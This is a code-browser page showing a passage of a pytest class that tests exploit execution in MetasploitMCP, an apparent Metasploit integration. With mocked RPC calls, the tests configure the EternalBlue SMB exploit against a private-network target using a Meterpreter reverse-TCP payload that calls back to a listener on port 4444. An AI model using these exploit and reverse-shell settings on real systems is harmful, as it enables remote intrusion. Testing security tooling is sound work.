MCPcopy Create free account
hub / github.com/GH05TCREW/MetasploitMCP / TestExploitExecution

Class TestExploitExecution

tests/test_tools_integration.py:315–407  ·  view source on GitHub ↗

Test exploit execution functionality.

Source from the content-addressed store, hash-verified

313
314
315class TestExploitExecution:
316 """Test exploit execution functionality."""
317
318 @pytest.fixture
319 def mock_exploit_environment(self):
320 """Fixture providing mocked exploit execution environment."""
321 client = MockMsfRpcClient()
322 module = MockMsfModule('exploit/windows/smb/ms17_010_eternalblue')
323
324 with patch('MetasploitMCP.get_msf_client', return_value=client):
325 with patch('MetasploitMCP._execute_module_rpc') as mock_rpc:
326 with patch('MetasploitMCP._execute_module_console') as mock_console:
327 mock_rpc.return_value = {
328 "status": "success",
329 "message": "Exploit executed",
330 "job_id": 1234,
331 "session_id": 5678
332 }
333 mock_console.return_value = {
334 "status": "success",
335 "message": "Exploit executed via console",
336 "module_output": "Session 1 opened"
337 }
338 yield client, mock_rpc, mock_console
339
340 @pytest.mark.asyncio
341 async def test_run_exploit_dict_payload_options(self, mock_exploit_environment):
342 """Test exploit execution with dictionary payload options."""
343 client, mock_rpc, mock_console = mock_exploit_environment
344
345 result = await run_exploit(
346 module_name="windows/smb/ms17_010_eternalblue",
347 options={"RHOSTS": "192.168.1.1"},
348 payload_name="windows/meterpreter/reverse_tcp",
349 payload_options={"LHOST": "192.168.1.100", "LPORT": 4444},
350 run_as_job=True
351 )
352
353 assert result["status"] == "success"
354 mock_rpc.assert_called_once()
355
356 @pytest.mark.asyncio
357 async def test_run_exploit_string_payload_options(self, mock_exploit_environment):
358 """Test exploit execution with string payload options."""
359 client, mock_rpc, mock_console = mock_exploit_environment
360
361 result = await run_exploit(
362 module_name="windows/smb/ms17_010_eternalblue",
363 options={"RHOSTS": "192.168.1.1"},
364 payload_name="windows/meterpreter/reverse_tcp",
365 payload_options="LHOST=192.168.1.100,LPORT=4444",
366 run_as_job=True
367 )
368
369 assert result["status"] == "success"
370 # Verify RPC was called with parsed options
371 call_args = mock_rpc.call_args
372 payload_spec = call_args[1]['payload_spec']

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected